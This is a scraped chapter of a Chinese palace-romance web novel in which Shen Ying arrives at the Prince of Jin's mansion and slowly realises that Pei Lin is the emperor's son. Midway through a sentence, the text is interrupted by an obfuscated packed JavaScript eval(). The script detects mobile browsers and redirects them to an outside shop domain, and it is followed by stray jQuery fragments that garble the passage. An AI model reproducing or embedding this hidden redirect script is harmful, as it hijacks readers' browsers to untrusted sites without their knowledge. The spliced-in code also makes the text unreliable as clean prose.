文趣网 > 都市小说 > 暴君的亡妻回来了 > 80. 第 80 章
    看完了状元郎骑马游街,他们重新上了马车,随着马车走动,街道越来越宽敞,人却越来越少,直到马车停了下来。

    “到了。”裴凛说话的时候,带着沈楹下了马车,同样是自己先下来,再把沈楹抱了下来。

    这些时日都是这样,沈楹都已经习惯了。

    待站稳后,沈楹抬头看了过去,看着门上的匾额,十分自信的从右往左念道,“府王晋,这是你家?这匾额怎么看着这么奇怪,为什么要写这三个字,有什么含义吗?”

    裴凛看向沈楹,一脸的不可思议,可是见她一副理所当然的模样,不像装的。

    对于沈楹有时候做出来的奇怪举动,裴凛也是习惯了,从一开始的怀疑,如今已经能够坦然接受了。

    只无奈道,“你念反了。”

    沈楹又道,“念反了,那就应该是晋王府。”

    裴凛睨着沈楹,见她反复念叨着晋王府三个字,神色没有一点儿惊讶。

    似乎是早知道,不、不对,裴凛心头涌起了一股荒唐的念头,他感觉沈楹不像是早知道他的身份,倒像是根本不知道晋王府三个字意味着什么。

    不知道其中的意思,这才像是沈楹的性格。

    她有时候心挺细的,比如赶路的时候,会发现他有不喜欢吃的东西,点菜的时候,便会避开那些。

    裴凛不挑食,只是有些食物会让他想起一些不好的回忆,所以他会避开不吃。沈楹的举动,会让他觉得很舒心。

    有时候她又挺粗枝大叶的。

    裴凛收回目光,对着沈楹道,“进去吧。”

    守门的侍卫看到一辆很是普通的马车停在门口,还愣了一下,之所以没赶人,是因为车子普通,可是那马,确实实打实的军马。

    而那车夫,宽大的帽檐遮盖住了脸,偶尔抬头对视,都让那侍从觉得戒备。

    直到马车里的人露面,侍从愣了一瞬,随即反应了过来,连忙小跑着迎了过来,“王爷,属下恭迎王爷。”

    已经有人进府通报了,很快府中长史带着一应人等过来拜见,呼啦啦的一群人,把沈楹唬了一跳,“你家这么多人呢?”

    她一出声,自然也引来了旁人的注意。

    没有人敢抬头去看,只弯腰低头等着晋王的吩咐。

    “都起来吧。”裴凛开口道。

    众人这才起身,长史率先走来,对着裴凛行了一礼,“知晓王爷要回来,府中各处已经收拾妥当了,王爷请先进府,倘若还有旁的吩咐,尽管告知属下。”

    裴凛离京多年,府中一应事务,都是长史在打理。

    他点了点头,牵过沈楹的手腕,带着她往里头走,进了门,沈楹的目光就没停下来过,各处景致看得她眼花缭乱的,假山奇石更是十分精美,好些花草她也是不认识。

    反正就是说不出来的好看。

    还路过了一片演武场,很空旷的一块地。

    到了正厅,裴凛落了坐,沈楹便坐在了另外一边,府中长史心里一惊,那可是王妃的位置。

    惊归惊,可王爷都没开口说话,任由那女子坐下,自然没有他能开口的份儿,只命人给裴凛和沈楹上了茶和糕点,这才低头汇报事务。

    府中这些年的账目,也是要拿来给裴凛过目的。这些在接到裴凛要回来的消息时,长史就已经处理好了。

    另外晋王来信时,并未说自己带了女子回来,院子虽然都清扫过,只是不知该如何安置,便提了一嘴,免得回头安置的不妥当,惹了王爷生气。

    裴凛没有犹豫,直接道,“清元殿。”

    长史连忙恭敬的应了,清元殿是特地留给王妃的住处,晋王开了口,他也知道该怎么办了。

    等人走了,裴凛看着沈楹道,“一会儿我要去见我的父亲,我让长史安排一些人照顾你,若是有事,你只管找他们帮你。”

    想了想又道,“我可能会回来晚些,可以让人带着你先在府中转转,熟悉一下环境。若是累了,就先休息。”

    “我知道的,我又不是小孩子。”沈楹对着裴凛挥挥手,有些不耐烦他这样殷切的叮嘱她。

    裴凛等着沈楹跟他说话,其实他也不知道沈楹会说什么,她的想法就跟她这个人一样,总有些奇奇怪怪的,让人摸不透。

    目光落在她身上,嘴角扯出淡淡笑意,总归是个没坏心眼的就是了。

    不说便不说吧,总归以后有机会慢慢说的。

    要入宫面圣,裴凛自然是要收拾一番的,就是面对皇帝要说的话都想好了。

    他这父皇,一心耽于享乐,底下的事情根本不关心。说他是昏君,又没彻底昏头,可也不是个什么明君就是。

    在别人的事情上,倒是能得上些公正。可若是牵扯到自身,那必须得按照他自己的想法来,谁也不能妨碍他的利益。

    洗漱过后,换上亲王绘制的衣裳,裴凛上了亲王车驾,又叮嘱府中长史好好照看沈楹,不得怠慢。又让长史找人替沈楹置办一些行头,另外找几个得力的丫鬟伺候着。

    倘若沈楹有什么要求,尽量满足她,若是没法满足,便等他回来再说。

    有晋王亲口叮嘱,长史哪里敢怠慢,这都让人直接住进王妃的院子,这自然是要小心捧着的。不出意外,那位沈娘子,往后就是晋王府的女主人。

    等裴凛走了之后,长史又去寻了沈楹,将人领到了院子里。

    “娘子的一应东西,也都拿了过来。另外这几个丫鬟,也是专门拨过来伺候娘子的,这是揽月,这丫头是宫里出来的,是个伶俐的丫头,娘子若是看得上,便让她到娘子身边,做贴身大丫鬟伺候着。若是娘子都不满意,下官再替您寻几个可心的。”

    “不用了,挺好的,先留着吧。”沈楹摆摆手,好不好用,也得试过才知道。

    她找小助理,也是合眼缘的。

    不过沈楹还是有眼色的,这又不是自己花钱雇人,她总不好太过于挑剔,凭白惹得人家不高兴。

    另外长史也说了一些这府中的事情,比如人员配置什么的,长史觉得,既然是未来晋王妃,那将来定然是要掌管整个王府的,早些知道也好。

    晋王身为皇子,当朝亲王,一应配置自然是十分周全的。

    府中分了几个部分,有亲事府和账内府,前者管的是府中亲兵和侍卫,后者管着出行的依仗。

    另外晋王还有封地,这些都是有专人打理的。府中还有文官参谋以及行政事务,都有专门的人去负责。

    沈楹记性倒是不错,记住了一部分,具体细节太多了,她还没理清楚。不过她明白是怎么回事,不就是分了几个部门,各部门负责不同的事务。

    听了一些,沈楹后知后觉的反应过来,“原来裴凛是皇帝的儿子啊?”

    长史心头一跳,却是不敢胡乱说话,他以为这沈娘子知道,怎么看着,好像是才反应过来似的。

    这种事情,难道王爷之前没跟她说过?

    长史也不敢乱说什么,他掌管王府诸事,就相当于旁人府中的管事,只他还是有官身在的,寻常人见了他,也得客客气气的。

    往日在让人跟前能拿捏当官的派头,未来王妃跟前,是万不敢拿乔的。

    又问了沈楹有无其他的需求,见没了,又说起了王爷的吩咐。

    “下官方才遣人去请了绣娘来,一会儿让那些绣娘替沈娘子做几身衣裳,另外王爷吩咐了,从他的私库里挑一些东西,搬到沈娘子的院子里。”

    王爷虽然离京数年,可在外打了胜

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17653104|202681||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    仗,陛下还是会赏赐东西到王府,府中自然会有人负责登记造册,放进王爷的库房里。

    沈楹面上听的认真,实则魂早就不知道飞到哪里去了。倘若她真是个秀才女儿,听到裴凛是王爷,怕是就是慌了神,可她并不是,也没有什么皇权的概念。

    想她和那一群朋友们,不还经常调侃戏称谁谁谁是长公主,谁谁谁是太子爷的,还把自己的父母戏称为父皇母后,心里也不觉得皇家的人有什么特别的。

    那个金豆劝她尽量融入生活,沈楹觉得自己已经融入的很好了学会了很多的东西。之前还要自己烧火做饭,现在跟着裴凛到了他的家,还有专门的人做饭,她比在村子里融入的更快。

    找回了一点点在家时候的感觉,她家里也是雇佣了不少人的。除了家政阿姨,还有管家、司机、园丁等一些人。

    沈楹心里还挺好奇,裴凛的爹,也就是皇帝长什么模样的。

    王爷这个称呼对她来说有些陌生,不过这里有皇帝,应该也有太子和公主吧?

    不知道他们又是长得什么模样?

    长史也发现了沈楹的心不在焉,便住了嘴,不再言语。

    绣娘很快就到了,替沈楹量了尺寸,除了一些惯常穿的衣裳,一年四季的都要备上两件,另外过不了多久就要入夏了,夏衣得多做几件。

    这京城中的贵女,根本不会去买那些成衣,都是请了绣娘到家里量体裁衣,另外有些人家还有一些特别的料子,会专门交待绣娘定做的。

    晋王府里就有一些专供皇室用的布料,长史取了一箱布出来,交给了绣娘,让她们用心做着。

    原先晋王虽然不得皇帝喜爱,可他是中宫所出,皇后殿下去了之后,自幼抚养在太后膝下,也是因为太后压着,那陆贵妃虽说得宠,却也不能封为皇后。

    晋王八岁那边,太后薨逝,临终前曾对陛下有叮嘱,其一,陆氏不得为后。其二,待晋王成年,遵守祖宗礼法,立其为东宫储君。

    作为臣子,不该议论陛下,可作为晋王府的人,自然为自家主上不平。太后去了,没人庇护主上,在宫中待了两年,十岁就出宫建府,也不过在府中待了三年,十三岁就被派到西北。

    此后再传回消息,都是晋王在现场如何神勇,陛下一高兴,就往晋王府赏赐东西,赏了不少,库房都堆满了,又另外辟了几间屋子出来作为库房。

    晋王虽说远离京城,可是在这京城里头的威名却是不减,谁不知道晋王神勇无敌,打得那叱卢节节败退。

    且不说晋王早已经成年,只是一直在西北,立储的事情上,也没有任何动静。

    不过长史还是觉得,这储君之位,依旧是他家陛下的。

    谁让当今陛下是个十分孝顺的人呢,既然太后留话,必定会照做的。如若不听,那陆贵妃,六宫独宠,为何如今还是贵妃。

    不正是因为太后留有遗言。

    晋王能好好活着回来,储君之位,几乎已经是板上钉钉的事。

    这些事情,沈楹自然是不知道的。她看着那些布料,只觉得哪个都好看,好东西她不是没见过,真丝面料她还是认识的,她还有好几套真丝的四件套呢,睡着可舒服了。

    可眼前什么织金锦,还有宝相花缎,确实没见过,好东西她还是能看得出来的,在这里都是价值不菲,这要是拿到她那个世界去卖,也不会便宜到哪里去的。

    不过绣娘说的什么齐胸襦裙齐腰襦裙,以及什么半臂这些样式,沈楹确实不太懂。

    好在还有样式图,沈楹干脆都选了一套。

    她觉得已经自己很克制了,从前她买衣服,都是看中了就买。自然也会去定制礼服,不过定制的都是用来参加重要的宴会,其他时候,买来的就足够穿了。